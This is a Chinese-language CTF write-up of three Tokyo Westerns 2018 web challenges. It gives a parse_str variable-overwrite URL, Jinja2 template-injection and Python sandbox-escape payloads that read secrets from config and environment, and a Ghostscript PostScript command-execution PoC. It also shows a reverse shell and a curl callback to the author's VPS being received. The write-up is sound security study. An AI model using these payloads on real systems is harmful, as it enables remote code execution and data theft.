Tokyo Westerns CTF 2018 WEB Wp

栏目: Python · 发布时间: 5年前

内容简介:之前忙着社团的一些事情,当初这场比赛也没有花很多时间打。这周末有空,决定把当初没有时间做的题目都做一下。外国的比赛质量明显比某PWN鼎杯好上许多。在此写一下做题记录首先这是 强等号,所以必须满足的条件是

之前忙着社团的一些事情,当初这场比赛也没有花很多时间打。这周末有空,决定把当初没有时间做的题目都做一下。

外国的比赛质量明显比某PWN鼎杯好上许多。在此写一下做题记录

SimpleAuth

<?php

require_once 'flag.php';

if (!empty($_SERVER['QUERY_STRING'])) {
    $query = $_SERVER['QUERY_STRING'];
    $res = parse_str($query);
    if (!empty($res['action'])){
        $action = $res['action'];
    }
}

if ($action === 'auth') {
    if (!empty($res['user'])) {
        $user = $res['user'];
    }
    if (!empty($res['pass'])) {
        $pass = $res['pass'];
    }

    if (!empty($user) && !empty($pass)) {
        $hashed_password = hash('md5', $user.$pass);
    }
    if (!empty($hashed_password) && $hashed_password === 'c019f6e5cd8aa0bbbcc6e994a54c757e') {
        echo $flag;
    }
    else {
        echo 'fail :(';
    }
}
else {
    highlight_file(__FILE__);
}

首先这是 强等号,所以必须满足的条件是

$hashed_password === 'c019f6e5cd8aa0bbbcc6e994a54c757e'

但是很有意思的是,如果我没传递 user pass 参数的话,就不会更新 $hashed_password

parse_str() 变量覆盖

这里的漏洞来自于 parse_str()

PHP 手册中有明确写出,如果没有第二个参数的话会引起变量覆盖

Tokyo Westerns CTF 2018 WEB Wp

可以写个东西来验证这个漏洞

<?php

if (!empty($_SERVER['QUERY_STRING'])) {
    $query = $_SERVER['QUERY_STRING'];
    $res = parse_str($query);
}

var_dump($GLOBALS);

如你所见,当我们传入password的时候,实际上password这个变量已经存在了。

http://localhost/test.php?password=123&auth=123
  'GLOBALS' => 
    &array<  'query' => string 'password=123&auth=123' (length=21)
  'res' => null
  'password' => string '123' (length=3)
  'auth' => string '123' (length=3)

所以最后的答案就是

http://simpleauth.chal.ctf.westerns.tokyo/?hashed_password=c019f6e5cd8aa0bbbcc6e994a54c757e&action=auth
>> TWCTF{d0_n0t_use_parse_str_without_result_param}

shrine

感觉这道题出的超棒的

参考了 WP

https://ctftime.org/writeup/10895

进去直接给了源码

import flask
import os


app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):
    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s
    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
    app.run(debug=True)

乍一看这不是 python 的闭包么?一开始和阿辉看了半天看不懂...感觉自己编程功底还是太差了。

其实这个函数的内容,简化下来是这样【伪代码】

@app.route('/shrine/<path:shrine>')
def shrine(shrine):
    s = {% set config=None%}{% set self=None%} + path..replace('(', ' (').replace(')', ')')
    return flask.render_template_string(s)

过滤了 () 并把 self 和 config 设置为了 none

不妨先尝试一下 最简单的 ssti注入;确实是可以成功的

http://shrine.chal.ctf.westerns.tokyo/shrine/%7B%7B'2'*5%7D%7D
>> 22222

没有 WAF 的情况

config

传入 config

self

传入 {{self.__dict__}}

()

只要找一个有 os 的 subclasses ,可以参考我以前写的东西python 沙箱逃逸总结

().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']("os").__dict__.environ['FLAG']

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").__dict__.environ['FLAG']

## 作者给的; <type 'dict_keys'> 里本身就有 OS

[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG']

当config,self,( ) 都被过滤的时候,为了去获得讯息,必须去读一些全局变量。比如说 current_app

比如说这样

__globals__['current_app'].config['FLAG']

top.app.config['FLAG']

如何绕过waf ? url_for 调取 current_app

我看完wp之后感叹,居然还有这样的操作?

首先,介绍一个很牛逼的函数,叫做url_for,可以参考flask的官方文档 flask.url_for

在它引用的内容中,有着 current_app 的全局变量

Tokyo Westerns CTF 2018 WEB Wp

如何绕过waf ? get_flashed_messages 调取 current_app

除此之外,还有函数包含了 current_app ,叫做 get_flashed_messages ,同样,可以参考官方文档 flask.get_flashed_messages

Tokyo Westerns CTF 2018 WEB Wp

GET FLAG !!!

找到了current_app,一切问题就迎刃而解了

GET /shrine/{{url_for.__globals__['current_app'].config['FLAG']}}

or

GET /shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

》》 TWCTF{pray_f0r_sacred_jinja2}

emoji

这道题目涉及 ghostscript 漏洞;对此我一点都不知道。日后会将这个洞系统得复现一下。这个洞在 8.21被报道出来,360CERT就将这个洞的细节发表了出来,可以参考 ghostscript命令执行漏洞预警

关于 ghostscript 也可以参考:

https://www.jianshu.com/p/0892b5d37ed0

https://www.anquanke.com/post/id/157513

ghostscript命令执行漏洞

准确来说,是这样子的:

PIL在对 eps 图片格式进行处理的时候,如果环境内装有 GhostScript,则会调用 GhostScript 在dSAFER模式下处理图片,产生命令执行漏洞。

其实这个漏洞是非常危险的漏洞。导致所有引用ghostscript的上游应用收到影响。 常见应用如下:

 imagemagick  libmagick  graphicsmagick  gimp  python-matplotlib  texlive-core  texmacs  latex2html  latex2rtf 

当然也包括了 PIL

做题过程

访问 /source 得到源码

from flask import (
    Flask,
    render_template,
    request,
    redirect,
    url_for,
    make_response,
)
from PIL import Image
import tempfile
import os


app = Flask(__name__)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/source')
def source():
    return open(__file__).read()

@app.route('/conv', methods=['POST'])
def conv():
    f = request.files.get('image', None)
    if not f:
        return redirect(url_for('index'))
    ext = f.filename.split('.')[-1]
    fname = tempfile.mktemp("emoji")
    fname = "{}.{}".format(fname, ext)
    f.save(fname)
    img = Image.open(fname)
    w, h = img.size
    r = 128/max(w, h)
    newimg = img.resize((int(w*r), int(h*r)))
    newimg.save(fname)
    response = make_response()
    response.data = open(fname, "rb").read()
    response.headers['Content-Disposition'] = 'attachment; filename=emoji_{}'.format(f.filename)
    os.unlink(fname)
    return response

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=8080, debug=True)

我尝试上传了一个图片,结果是 500 的错误。

后来按照WP也不能复现,推测是服务器挂了。对此,我只能在本地模拟一下这个漏洞的过程。

对于这个漏洞,有很多套路了。具体可以看看这边

ghostscript: multiple critical vulnerabilities, including remote command execution

本地复现

我在本地复现了这个漏洞,具体的POC如下

命名一个 shell.jpeg 文件,内容如下(实际上这是postscript)

%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops

随后,给予文件7xx的权限。之后,我们执行convert指令

Tokyo Westerns CTF 2018 WEB Wp

可以发现 shell 已经能够成功执行了。

我们可以给予更大的扩展攻击面。比如说反弹shell

我将 id 的部分改为 反弹shell一句话

Tokyo Westerns CTF 2018 WEB Wp

随后,在我的VPS上接收shell。

Tokyo Westerns CTF 2018 WEB Wp

如你所见,已经成功执行。

我这里用的是 imagemagick 实际上用PIL也是一样的。

如下所示

Tokyo Westerns CTF 2018 WEB Wp

>>> img = Image.open('./circle.eps')
>>> w, h = img.size
>>> r = 128/max(w, h)
>>> newimg = img.resize((int(w*r), int(h*r)))
cat: /flag: 没有那个文件或目录
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:--  0:00:46 --:--:--     0
curl: (52) Empty reply from server
GPL Ghostscript 9.22: Unrecoverable error, exit code 1
Traceback (most recent call last):

[root@iz2ze2zhd57z17nq0y8tttz ~]# socat TCP-LISTEN:5555 -
POST / HTTP/1.1
Host: shaobaobaoer.cn:5555
User-Agent: curl/7.60.0
Accept: */*
Content-Length: 0
Content-Type: application/x-www-form-urlencoded

当然,如果用PIL的话,是不能直接读上面的那个POC的。我也不知道为何,自己对于 postscript 也不是很了解。wp中是一个 eps 的文件。而上述POC中是一个 PS 格式的文件。

我将 WP 中的poc修改为了自己VPS的地址,它成功执行了。


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

苹果的味道

苹果的味道

袁烨 / 2012-1 / 59.80元

《苹果的味道:iPad商务应用每一天》是一本介绍iPad商务应用的书。编者从App Store丰富的应用程序库中选取了MobileRSS、Pocket Informant HD、iWork、MindPad、乐顺笔记本等二十多款经典的应用程序,从商务资讯的获取、商务日程安排、商务文档的制作和演示等八个商务应用方面,以图文并茂的方式介绍了这些应用程序在商务工作中的使用方法。通过《苹果的味道:iPad商......一起来看看 《苹果的味道》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码